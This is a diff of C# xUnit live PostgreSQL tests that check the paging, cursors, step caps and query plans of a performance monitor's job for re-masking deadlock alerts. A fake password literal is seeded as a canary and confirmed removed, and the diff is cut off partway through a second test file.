+        await using (var alerts = new NpgsqlCommand(@"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted, context_json)
+SELECT timestamp '2026-10-04' + i * interval '1 second', 9, 'example-pg-9', $2, 1, 1, true, 'webhook', false,
+       replace($1, $3, upper(md5((8 + 50 * i)::text)))
+FROM generate_series(1, 450) AS i", connection))
+        {
+            alerts.Parameters.Add(Param(template, NpgsqlDbType.Text));
+            alerts.Parameters.Add(Param(AlertEngine.DeadlockWatermarkMetric, NpgsqlDbType.Text));
+            alerts.Parameters.Add(Param(dummyKey, NpgsqlDbType.Text));
+            await alerts.ExecuteNonQueryAsync(ct);
+        }
+
+        await ExecuteAsync(connection, "ANALYZE pg_deadlocks", ct);
+        await ExecuteAsync(connection, "ANALYZE config_alert_log", ct);
+
+        var plan = await ExplainScansAsync(connection, PgDeadlockRemask.AlertPageSql,
+        [
+            Param(9, NpgsqlDbType.Integer), Param(null, NpgsqlDbType.Timestamp), Param((long)PgDeadlockRemask.MaxAlertRowsPerPass, NpgsqlDbType.Bigint),
+        ], ct);
+
+        var reports = plan.Where(scan => !scan.Relation.Equals("a", StringComparison.Ordinal)).ToList();
+        var summary = string.Join("; ", plan.Select(scan => $"{scan.Relation}/{scan.NodeType}/{scan.IndexName}/{scan.RowsRead}"));
+        Assert.True(reports.Count > 0, $"no scan of the stored reports in the plan: {summary}");
+        Assert.All(reports, scan => Assert.True(
+            scan.NodeType != "Seq Scan" && scan.IndexName == "idx_pg_deadlocks_identity",
+            $"the report lookup scanned {scan.Relation} with {scan.NodeType} {scan.IndexName}: {summary}"));
+        var read = reports.Sum(scan => scan.RowsRead);
+        Assert.True(read <= 450 + 50, $"the report lookup read {read} stored reports for 450 keys (the table holds 100,000): {summary}");
+        Assert.True(read >= 450, $"the report lookup read {read} stored reports; each of the 450 keys has one: {summary}");
+
+        /* And the slice's reports come back: a walk over it finds each alert's report. */
+        var (_, examined, _, raced) = await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, null, s_key, true, null, ct);
+        Assert.Equal(450, examined);
+        Assert.Equal(0, raced);
+    }
+
+    /// <summary>The step caps, server ids below one, the cancel cursors and a server with thousands of alerts, one
+    /// scenario after another in one database (each empties the log first): they are small, and a database for each
+    /// would cost the class more than the checks do.</summary>
+    [Fact]
+    public async Task TheGuardsOfTheTwoAlertStages_HoldOnTheirOwnData()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live alert paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        await FindingAlerts_TheStepCap_CountsEveryProbe_AndAnOrdinaryMetricCursorReadsNoRows(connection, ct);
+        await TheStepCap_EndsADeadlockPage_AndServerIdsBelowOneAreWalkedByBothStages(connection, ct);
+        await ACancelMidPage_AcrossTwoServersOrTwoMetrics_LosesNoRowAndRepeatsNone(connection, ct);
+        await APageOnAServerWithThousandsOfAlerts_StopsAtThePageSize(connection, ct);
+    }
+
+    /// <summary>The finding-alert stage counts every probe against <see cref="PgDeadlockRemask.MaxAlertStepsPerPage"/>,
+    /// whatever a metric is called (#5625). 150 servers hold four ordinary metrics each (600 pairs, one alert apiece) and
+    /// the only <c>Analysis: </c> alerts are two at the last server: a page that counted only the steps onto an
+    /// Analysis metric would run all 600 probes in one statement chain. Each page here ends at its cap with a cursor
+    /// that moved, the cursor may rest on an ordinary metric (whose rows are not read: its name says it is no
+    /// Analysis one), and the walk still reaches the two alerts and ends.</summary>
+    private static async Task FindingAlerts_TheStepCap_CountsEveryProbe_AndAnOrdinaryMetricCursorReadsNoRows(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, "TRUNCATE config_alert_log", ct);
+
+        var (drillDown, story) = PgDeadlockRemaskTests.LegacyFinding();
+        var (metric, rawContext) = PgDeadlockRemaskTests.LegacyFindingAlert(drillDown, story, "5625abcd00000001");
+        await ExecuteAsync(connection, @"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted, context_json)
+SELECT timestamp '2026-10-05' + g * interval '1 second', 1 + g % 150, 'example-pg-' || (1 + g % 150),
+       (ARRAY['Blocking', 'High CPU', 'Low Memory', 'Poor Wait Stats'])[1 + (g / 150) % 4], 1, 1, true, 'webhook', false, '{""Details"":[]}'
+FROM generate_series(0, 599) AS g", ct);
+        await PlantAsync(connection, 150, metric, new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Unspecified), rawContext, ct);
+        await PlantAsync(connection, 150, metric, new DateTime(2026, 10, 6, 12, 1, 0, DateTimeKind.Unspecified), rawContext, ct);
+        await ExecuteAsync(connection, "ANALYZE config_alert_log", ct);
+
+        PgDeadlockRemask.AlertLogCursor? cursor = null;
+        int pages = 0, examined = 0, rewritten = 0;
+        var cursorsOnOrdinaryMetrics = 0;
+        do
+        {
+            var (next, e, w, _) = await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, cursor, null, ct);
+            Assert.True(next is null || next != cursor, "the cursor must move on every page");
+            pages++;
+            examined += e;
+            rewritten += w;
+            cursorsOnOrdinaryMetrics += next is { } at && !at.MetricName.StartsWith("Analysis: ", StringComparison.Ordinal) ? 1 : 0;
+            cursor = next;
+            Assert.True(pages < 50, "the walk must end");
+        }
+        while (cursor is not null);
+
+        /* 600 ordinary pairs at 100 probes a page. */
+        Assert.InRange(pages, 6, 8);
+        Assert.True(cursorsOnOrdinaryMetrics > 0, "a page that ends on an ordinary metric hands the next page a cursor on it");
+        Assert.Equal(2, examined);
+        Assert.Equal(2, rewritten);
+    }
+
+    /// <summary>The deadlock stage's step cap ends a page after <see cref="PgDeadlockRemask.MaxAlertStepsPerPage"/>
+    /// servers with nothing to read (200 servers between two that hold deadlock alerts), and a server id of -1 or 0 is
+    /// walked like any other: the walk starts below every id, not at 0 (#5625). The finding-alert stage meets the same
+    /// ids.</summary>
+    private static async Task TheStepCap_EndsADeadlockPage_AndServerIdsBelowOneAreWalkedByBothStages(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, "TRUNCATE config_alert_log", ct);
+
+        var (drillDown, story) = PgDeadlockRemaskTests.LegacyFinding();
+        var (metric, rawContext) = PgDeadlockRemaskTests.LegacyFindingAlert(drillDown, story, "5625abcd00000002");
+        var at = new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Unspecified);
+        var gone = GoneContext();
+
+        /* Servers -1 and 0 through 250 hold one ordinary alert each; raw deadlock alerts sit at -1, 0, 1 and 201, so
+           200 servers lie between the last two. */
+        await ExecuteAsync(connection, @"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted)
+SELECT timestamp '2026-10-05' + g * interval '1 second', g, 'example-pg-' || g, 'High CPU', 1, 1, true, 'webhook', false
+FROM generate_series(-1, 250) AS g", ct);
+        foreach (var server in new[] { -1, 0, 1, 201 })
+        {
+            await PlantAsync(connection, server, AlertEngine.DeadlockWatermarkMetric, at, gone, ct);
+        }
+
+        await PlantAsync(connection, -1, metric, at, rawContext, ct);
+        await ExecuteAsync(connection, "ANALYZE config_alert_log", ct);
+
+        PgDeadlockRemask.AlertLogCursor? cursor = null;
+        int pages = 0, rewritten = 0;
+        do
+        {
+            var (next, _, w, _) = await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, cursor, s_key, true, null, ct);
+            Assert.True(next is null || next != cursor, "the cursor must move on every page");
+            pages++;
+            rewritten += w;
+            cursor = next;
+            Assert.True(pages < 50, "the walk must end");
+        }
+        while (cursor is not null);
+
+        /* 252 servers at 100 steps a page. */
+        Assert.InRange(pages, 3, 4);
+        Assert.Equal(4, rewritten);
+        Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config_alert_log WHERE context_json LIKE '%Leak5625%'", ct));
+
+        /* The finding-alert stage: its one alert is at server -1. */
+        cursor = null;
+        var findingRewritten = 0;
+        pages = 0;
+        do
+        {
+            var (next, _, w, _) = await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, cursor, null, ct);
+            Assert.True(next is null || next != cursor, "the cursor must move on every page");
+            findingRewritten += w;
+            cursor = next;
+            Assert.True(++pages < 50, "the walk must end");
+        }
+        while (cursor is not null);
+
+        Assert.Equal(1, findingRewritten);
+        Assert.Equal(0L, await CountAsync(connection, "SELECT count(*) FROM config_alert_log WHERE metric_name = $1 AND context_json = $2", metric, rawContext, ct));
+    }
+
+    /// <summary>A cancel in the middle of a page leaves the cursor at the last instant finished, and that instant is
+    /// told from the next row's by its server (deadlock alerts) or its server and metric (finding alerts), not by its
+    /// time alone (#5625): rows of two servers, or two metrics, can carry the same <c>alert_time</c>. The row after the
+    /// cancel is read again by the resumed page, and no row before it is.</summary>
+    private static async Task ACancelMidPage_AcrossTwoServersOrTwoMetrics_LosesNoRowAndRepeatsNone(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, "TRUNCATE config_alert_log", ct);
+
+        var at = new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Unspecified);
+
+        /* Deadlock alerts: server 1 at t, server 2 at t and at t + 1 s (the same instant on two servers). */
+        var gone = GoneContext();
+        await PlantAsync(connection, 1, AlertEngine.DeadlockWatermarkMetric, at, gone, ct);
+        await PlantAsync(connection, 2, AlertEngine.DeadlockWatermarkMetric, at, gone, ct);
+        await PlantAsync(connection, 2, AlertEngine.DeadlockWatermarkMetric, at.AddSeconds(1), gone, ct);
+
+        using (var cancel = CancellationTokenSource.CreateLinkedTokenSource(ct))
+        {
+            PgDeadlockRemask.AlertLogCursor? last = null;
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(async () =>
+                await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, null, s_key, true, (row, _) =>
+                {
+                    last = row ?? last;
+                    cancel.Cancel();
+                }, cancel.Token));
+
+            Assert.Equal(new PgDeadlockRemask.AlertLogCursor(1, AlertEngine.DeadlockWatermarkMetric, at), last);
+            var (next, examined, rewritten, _) = await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, last, s_key, true, null, ct);
+            Assert.Null(next);
+            Assert.Equal(2, examined);
+            Assert.Equal(2, rewritten);
+        }
+
+        Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config_alert_log WHERE context_json LIKE '%Leak5625%'", ct));
+
+        /* Finding alerts: server 1, one metric at t, another at t and at t + 1 s. */
+        var (drillDown, story) = PgDeadlockRemaskTests.LegacyFinding();
+        var (metric, rawContext) = PgDeadlockRemaskTests.LegacyFindingAlert(drillDown, story, "5625abcd00000003");
+        var otherMetric = metric + "~";
+        await PlantAsync(connection, 1, metric, at, rawContext, ct);
+        await PlantAsync(connection, 1, otherMetric, at, rawContext, ct);
+        await PlantAsync(connection, 1, otherMetric, at.AddSeconds(1), rawContext, ct);
+
+        using (var cancel = CancellationTokenSource.CreateLinkedTokenSource(ct))
+        {
+            PgDeadlockRemask.AlertLogCursor? last = null;
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(async () =>
+                await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, null, (row, _) =>
+                {
+                    last = row ?? last;
+                    cancel.Cancel();
+                }, cancel.Token));
+
+            Assert.Equal(new PgDeadlockRemask.AlertLogCursor(1, metric, at), last);
+            var (next, examined, rewritten, _) = await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, last, null, ct);
+            Assert.Null(next);
+            Assert.Equal(2, examined);
+            Assert.Equal(2, rewritten);
+        }
+
+        Assert.Equal(0L, await CountAsync(connection, "SELECT count(*) FROM config_alert_log WHERE metric_name LIKE $1 AND context_json = $2", metric + "%", rawContext, ct));
+    }
+
+    /// <summary>A server (and metric) with thousands of alerts: a page reads the page size and the rows tied with its
+    /// last, an ordered range of the index that stops there, not the server's whole set (#5625). Both stages, and the
+    /// plans, on 6,000 alerts of one server.</summary>
+    private static async Task APageOnAServerWithThousandsOfAlerts_StopsAtThePageSize(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await ExecuteAsync(connection, "TRUNCATE config_alert_log", ct);
+
+        const int Alerts = 6_000;
+        await using (var seed = new NpgsqlCommand(@"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted, context_json)
+SELECT timestamp '2026-10-05' + g * interval '1 second', 7, 'example-pg-7', m.name, 1, 1, true, 'webhook', false, '{""Incidents"":[]}'
+FROM generate_series(1, $1) AS g
+CROSS JOIN (VALUES ($2), ('Analysis: big [00000001]')) AS m(name)", connection))
+        {
+            seed.Parameters.Add(Param(Alerts, NpgsqlDbType.Integer));
+            seed.Parameters.Add(Param(AlertEngine.DeadlockWatermarkMetric, NpgsqlDbType.Text));
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        await ExecuteAsync(connection, "ANALYZE config_alert_log", ct);
+
+        var deadlock = await ExplainAsync(connection, PgDeadlockRemask.AlertPageSql,
+        [
+            Param(7, NpgsqlDbType.Integer), Param(null, NpgsqlDbType.Timestamp), Param((long)PgDeadlockRemask.MaxAlertRowsPerPass, NpgsqlDbType.Bigint),
+        ], ct);
+        AssertIndexRange(deadlock, "the deadlock slice of a server with many alerts");
+        Assert.True(
+            deadlock.RowsRead <= PgDeadlockRemask.MaxAlertRowsPerPass + 20,
+            $"a slice read {deadlock.RowsRead} rows from the log; its page is {PgDeadlockRemask.MaxAlertRowsPerPass} of the server's {Alerts}");
+
+        var findings = await ExplainAsync(connection, PgDeadlockRemask.FindingAlertPageSql,
+        [
+            Param(7, NpgsqlDbType.Integer), Param("Analysis: big [00000001]", NpgsqlDbType.Text), Param(null, NpgsqlDbType.Timestamp), Param((long)PgDeadlockRemask.MaxFindingAlertRowsPerPass, NpgsqlDbType.Bigint),
+        ], ct);
+        AssertIndexRange(findings, "the finding alert slice of a pair with many alerts");
+        Assert.True(
+            findings.RowsRead <= PgDeadlockRemask.MaxFindingAlertRowsPerPass + 20,
+            $"a slice read {findings.RowsRead} rows from the log; its page is {PgDeadlockRemask.MaxFindingAlertRowsPerPass} of the pair's {Alerts}");
+
+        /* The pages themselves: the page size, and a cursor inside the server. */
+        var (next, examined, _, _) = await PgDeadlockRemask.RemaskStoredAlertsAsync(connection, null, s_key, true, null, ct);
+        Assert.InRange(examined, PgDeadlockRemask.MaxAlertRowsPerPass, PgDeadlockRemask.MaxAlertRowsPerPass + 20);
+        Assert.Equal(7, next?.ServerId);
+        Assert.NotNull(next?.AlertTime);
+
+        var (findingNext, findingExamined, _, _) = await PgDeadlockRemask.RemaskStoredFindingAlertsAsync(connection, null, null, ct);
+        Assert.InRange(findingExamined, PgDeadlockRemask.MaxFindingAlertRowsPerPass, PgDeadlockRemask.MaxFindingAlertRowsPerPass + 20);
+        Assert.Equal("Analysis: big [00000001]", findingNext?.MetricName);
+        Assert.NotNull(findingNext?.AlertTime);
+    }
+
+    /// <summary>A deadlock alert's context as an incident whose report retention has dropped: raw, and re-masked by the
+    /// walk (it names a statement literal that must leave the store).</summary>
+    private static string GoneContext() => AlertContextSerializer.Serialize(new AlertContext
+    {
+        Incidents = [new AlertIncident(PgDeadlockLogParser.HashOf("a report retention dropped"), ["UPDATE creds SET pw = 'Leak5625' WHERE id = 7"])],
+    });
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    /// <summary>About 500,000 alert rows over 50 servers in one INSERT ... SELECT each: mostly other metrics; 40,000
+    /// <c>Analysis: </c> alerts that need nothing (97 metric names on every server, a tenth of the rows older than the
+    /// finding-alert section); current deadlock alerts; and raw deadlock alerts on four servers, twelve at a time tied
+    /// on one instant per server.</summary>
+    private static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using (var filler = new NpgsqlCommand(@"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted)
+SELECT timestamp '2026-10-01' + g * interval '3 seconds', 1 + g % $2, 'example-pg-' || (1 + g % $2),
+       (ARRAY['High CPU', 'Blocking', 'Long Running Query', 'Poor Wait Stats', 'TempDB Space', 'Data File Space', 'Log File Space', 'Low Memory'])[1 + g % 8],
+       1, 1, true, 'webhook', false
+FROM generate_series(1, $1) AS g", connection))
+        {
+            filler.Parameters.Add(Param(FillerAlerts, NpgsqlDbType.Integer));
+            filler.Parameters.Add(Param(Servers, NpgsqlDbType.Integer));
+            await filler.ExecuteNonQueryAsync(ct);
+        }
+
+        await using (var decoys = new NpgsqlCommand(@"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted, context_json)
+SELECT CASE WHEN (g / 97) % 10 = 0 THEN timestamp '2026-09-01' ELSE timestamp '2026-10-02' END + g * interval '2 seconds',
+       1 + g % $2, 'example-pg-' || (1 + g % $2),
+       'Analysis: decoy ' || (g % 97) || ' [' || lpad(to_hex(g % 97), 8, '0') || ']',
+       1, 1, true, 'webhook', false, '{""Details"":[]}'
+FROM generate_series(1, $1) AS g", connection))
+        {
+            decoys.Parameters.Add(Param(FindingDecoys, NpgsqlDbType.Integer));
+            decoys.Parameters.Add(Param(Servers, NpgsqlDbType.Integer));
+            await decoys.ExecuteNonQueryAsync(ct);
+        }
+
+        var goneJson = AlertContextSerializer.Serialize(new AlertContext
+        {
+            Incidents = [new AlertIncident(PgDeadlockLogParser.HashOf("a report retention dropped"), ["UPDATE creds SET pw = 'Leak5625' WHERE id = 7"])],
+        });
+        await using (var current = new NpgsqlCommand(@"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted, context_json)
+SELECT timestamp '2026-10-03' + g * interval '5 seconds', 1 + g % $2, 'example-pg-' || (1 + g % $2), $3, 1, 1, true, 'webhook', false, '{""Incidents"":[]}'
+FROM generate_series(1, $1) AS g", connection))
+        {
+            current.Parameters.Add(Param(CurrentDeadlockAlerts, NpgsqlDbType.Integer));
+            current.Parameters.Add(Param(Servers, NpgsqlDbType.Integer));
+            current.Parameters.Add(Param(AlertEngine.DeadlockWatermarkMetric, NpgsqlDbType.Text));
+            await current.ExecuteNonQueryAsync(ct);
+        }
+
+        await using (var raw = new NpgsqlCommand(@"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted, context_json)
+SELECT timestamp '2026-10-04' + (g / 12) * interval '1 second', ($4::int[])[1 + g % 4], 'example-pg-' || ($4::int[])[1 + g % 4], $3, 1, 1, true, 'webhook', false, $2
+FROM generate_series(1, $1) AS g", connection))
+        {
+            raw.Parameters.Add(Param(RawDeadlockAlerts, NpgsqlDbType.Integer));
+            raw.Parameters.Add(Param(goneJson, NpgsqlDbType.Text));
+            raw.Parameters.Add(Param(AlertEngine.DeadlockWatermarkMetric, NpgsqlDbType.Text));
+            raw.Parameters.Add(Param(s_rawDeadlockServers.Select(s => int.Parse(s, CultureInfo.InvariantCulture)).ToArray(), NpgsqlDbType.Array | NpgsqlDbType.Integer));
+            await raw.ExecuteNonQueryAsync(ct);
+        }
+
+        await ExecuteAsync(connection, "ANALYZE config_alert_log", ct);
+    }
+
+    private static async Task PlantAsync(NpgsqlConnection connection, int server, string metric, DateTime at, string context, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value, alert_sent, notification_type, muted, context_json)
+VALUES ($1, $2, 'example-pg-' || $2, $3, 1, 1, true, 'webhook', false, $4)", connection);
+        command.Parameters.Add(Param(at, NpgsqlDbType.Timestamp));
+        command.Parameters.Add(Param(server, NpgsqlDbType.Integer));
+        command.Parameters.Add(Param(metric, NpgsqlDbType.Text));
+        command.Parameters.Add(Param(context, NpgsqlDbType.Text));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /* ───────────────────────── plans ───────────────────────── */
+
+    private sealed record PlanFacts(
+        IReadOnlyList<string> ScanTypes, IReadOnlyList<string> Indexes, IReadOnlyList<string> IndexConditions, long Buffers,
+        long RowsRemovedByFilter, long RowsRead, IReadOnlyList<long> IndexSearches);
+
+    /// <summary>The statement's plan, run with the same typed parameters the service binds (an unnamed statement, so
+    /// planned with their values): the scan nodes over <c>config_alert_log</c>, their index conditions, the buffers they
+    /// touched, the rows they filtered out after reading, and, on PostgreSQL 18, their index searches.</summary>
+    private static async Task<PlanFacts> ExplainAsync(NpgsqlConnection connection, string sql, NpgsqlParameter[] parameters, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) " + sql, connection);
+        foreach (var parameter in parameters)
+        {
+            command.Parameters.Add(parameter);
+        }
+
+        var json = (string)(await command.ExecuteScalarAsync(ct))!;
+        using var document = JsonDocument.Parse(json);
+        var scans = new List<string>();
+        var indexes = new List<string>();
+        var conditions = new List<string>();
+        var searches = new List<long>();
+        long buffers = 0, removed = 0, read = 0;
+        void Walk(JsonElement node)
+        {
+            var type = node.GetProperty("Node Type").GetString()!;
+            var onLog = node.TryGetProperty("Relation Name", out var relation) && relation.GetString() == "config_alert_log";
+            if (onLog && type is "Seq Scan" or "Index Scan" or "Index Only Scan" or "Bitmap Heap Scan" or "Tid Range Scan")
+            {
+                scans.Add(type);
+                buffers += node.GetProperty("Shared Hit Blocks").GetInt64() + node.GetProperty("Shared Read Blocks").GetInt64();
+                removed += node.TryGetProperty("Rows Removed by Filter", out var filtered) ? filtered.GetInt64() : 0;
+                read += (long)(node.GetProperty("Actual Rows").GetDouble() * node.GetProperty("Actual Loops").GetDouble());
+            }
+
+            /* An index node over the log: Index Scan and Index Only Scan carry their relation, a Bitmap Index Scan
+               (the child of a Bitmap Heap Scan) only its index. */
+            if ((onLog || type == "Bitmap Index Scan") && node.TryGetProperty("Index Name", out var indexName))
+            {
+                indexes.Add(indexName.GetString()!);
+                if (node.TryGetProperty("Index Cond", out var condition))
+                {
+                    conditions.Add(condition.GetString()!);
+                }
+
+                if (node.TryGetProperty("Index Searches", out var count))
+                {
+                    searches.Add(count.GetInt64());
+                }
+            }
+
+            if (node.TryGetProperty("Plans", out var children))
+            {
+                foreach (var child in children.EnumerateArray())
+                {
+                    Walk(child);
+                }
+            }
+        }
+
+        Walk(document.RootElement[0].GetProperty("Plan"));
+        return new PlanFacts(scans, indexes, conditions, buffers, removed, read, searches);
+    }
+
+    /// <summary>One index range on <c>idx_config_alert_log_time</c>: the log is read only through that index (a Bitmap Heap
+    /// Scan over it is the same range, which the planner picks when the page holds most of the range), never by a Seq
+    /// Scan; nothing is removed by a filter after its read; and, where the server reports it (PostgreSQL 18), each index
+    /// node searches once.</summary>
+    private static void AssertIndexRange(PlanFacts plan, string what)
+    {
+        Assert.True(plan.Indexes.Count > 0, $"{what}: no index scan of config_alert_log in the plan");
+        Assert.DoesNotContain(plan.ScanTypes, scan => scan is "Seq Scan" or "Tid Range Scan");
+        Assert.All(plan.Indexes, index => Assert.Equal("idx_config_alert_log_time", index));
+        Assert.True(plan.RowsRemovedByFilter == 0, $"{what}: {plan.RowsRemovedByFilter} rows were read and filtered out");
+        Assert.All(plan.IndexSearches, count => Assert.Equal(1, count));
+    }
+
+    /// <summary>The range starts at one server (and metric): every index condition names them as equalities, so the
+    /// read cannot stray into another server's rows.</summary>
+    private static void AssertEquality(PlanFacts plan, string what, params string[] columns)
+    {
+        Assert.NotEmpty(plan.IndexConditions);
+        foreach (var condition in plan.IndexConditions)
+        {
+            foreach (var column in columns)
+            {
+                Assert.True(condition.Contains(column + " = ", StringComparison.Ordinal), $"{what}: index condition '{condition}' has no equality on {column}");
+            }
+        }
+    }
+
+    private sealed record ScanFacts(string Relation, string NodeType, string? IndexName, long RowsRead);
+
+    /// <summary>Every scan of the statement's plan with its alias, its index and the rows it returned in all its loops.
+    /// A Bitmap Heap Scan takes the index of its Bitmap Index Scan child. The alert-log scan is the alias <c>a</c>.</summary>
+    private static async Task<List<ScanFacts>> ExplainScansAsync(NpgsqlConnection connection, string sql, NpgsqlParameter[] parameters, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) " + sql, connection);
+        foreach (var parameter in parameters)
+        {
+            command.Parameters.Add(parameter);
+        }
+
+        var json = (string)(await command.ExecuteScalarAsync(ct))!;
+        using var document = JsonDocument.Parse(json);
+        var scans = new List<ScanFacts>();
+        void Walk(JsonElement node)
+        {
+            var type = node.GetProperty("Node Type").GetString()!;
+            if (node.TryGetProperty("Relation Name", out var relation) && type.EndsWith("Scan", StringComparison.Ordinal))
+            {
+                var index = node.TryGetProperty("Index Name", out var name) ? name.GetString() : null;
+                if (type == "Bitmap Heap Scan" && node.TryGetProperty("Plans", out var kids))
+                {
+                    index = kids.EnumerateArray().Select(kid => kid.TryGetProperty("Index Name", out var kidIndex) ? kidIndex.GetString() : null).FirstOrDefault(kidIndex => kidIndex is not null);
+                }
+
+                scans.Add(new ScanFacts(
+                    node.TryGetProperty("Alias", out var alias) ? alias.GetString()! : relation.GetString()!,
+                    type, index, (long)(node.GetProperty("Actual Rows").GetDouble() * node.GetProperty("Actual Loops").GetDouble())));
+            }
+
+            if (node.TryGetProperty("Plans", out var children))
+            {
+                foreach (var child in children.EnumerateArray())
+                {
+                    Walk(child);
+                }
+            }
+        }
+
+        Walk(document.RootElement[0].GetProperty("Plan"));
+        return scans;
+    }
+
+    private static NpgsqlParameter Param(object? value, NpgsqlDbType type) =>
+        new() { Value = value ?? DBNull.Value, NpgsqlDbType = type };
+
+    private static async Task ExecuteAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    private static async Task<long> CountAsync(NpgsqlConnection connection, string sql, string first, string second, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(Param(first, NpgsqlDbType.Text));
+        command.Parameters.Add(Param(second, NpgsqlDbType.Text));
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    private static async Task<string> TextAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return (string)(await command.ExecuteScalarAsync(ct))!;
+    }
+}
diff --git a/Darling/Darling.Tests/PgDeadlockRemaskFindingsPagingLiveTests.cs b/Darling/Darling.Tests/PgDeadlockRemaskFindingsPagingLiveTests.cs
new file mode 100644
index 0000000000..72532dd4ee
--- /dev/null
+++ b/Darling/Darling.Tests/PgDeadlockRemaskFindingsPagingLiveTests.cs
@@ -0,0 +1,346 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5625: the findings stage of the hourly deadlock re-mask pages the table by physical block range, so a page reads
+/// a fixed amount of it whatever matches. It used to page by <c>finding_id</c>, which no index serves, so every page
+/// was a Seq Scan and Sort of the whole table: 1 GB and a 15 s statement timeout on a 600,000-finding store, with
+/// nothing to rewrite. Seeded server-side at that store's row count, with a few raw findings at the start, the
+/// middle and the end; no assertion reads the clock.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")], like PgDeadlockRemaskTests. The test reaches
+   DARLING_TEST_PG only to CREATE and DROP its own database through ScratchPostgres, then works entirely inside it: the
+   walk reads the whole table, so it must not meet another class's findings. Leave it out; this comment is here so the
+   next sweep does not "fix" it. */
+public sealed class PgDeadlockRemaskFindingsPagingLiveTests
+{
+    private const int ServerId = 5625;
+    private const int BulkFindings = 600_000;
+
+    /// <summary>
+    /// The walk's first page reads at most <see cref="PgDeadlockRemask.FindingBlocksPerPass"/> blocks and its cursor
+    /// moves though nothing in them matches; the page's plan is a TID Range Scan; and the walk reaches the raw findings
+    /// in the middle and at the end, rewrites each once, and ends.
+    /// </summary>
+    [Fact]
+    public async Task APage_ReadsABoundedBlockRange_TheCursorMovesWithNoMatch_AndTheWalkReachesTheRawFindings()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live findings paging test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var at = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Unspecified);
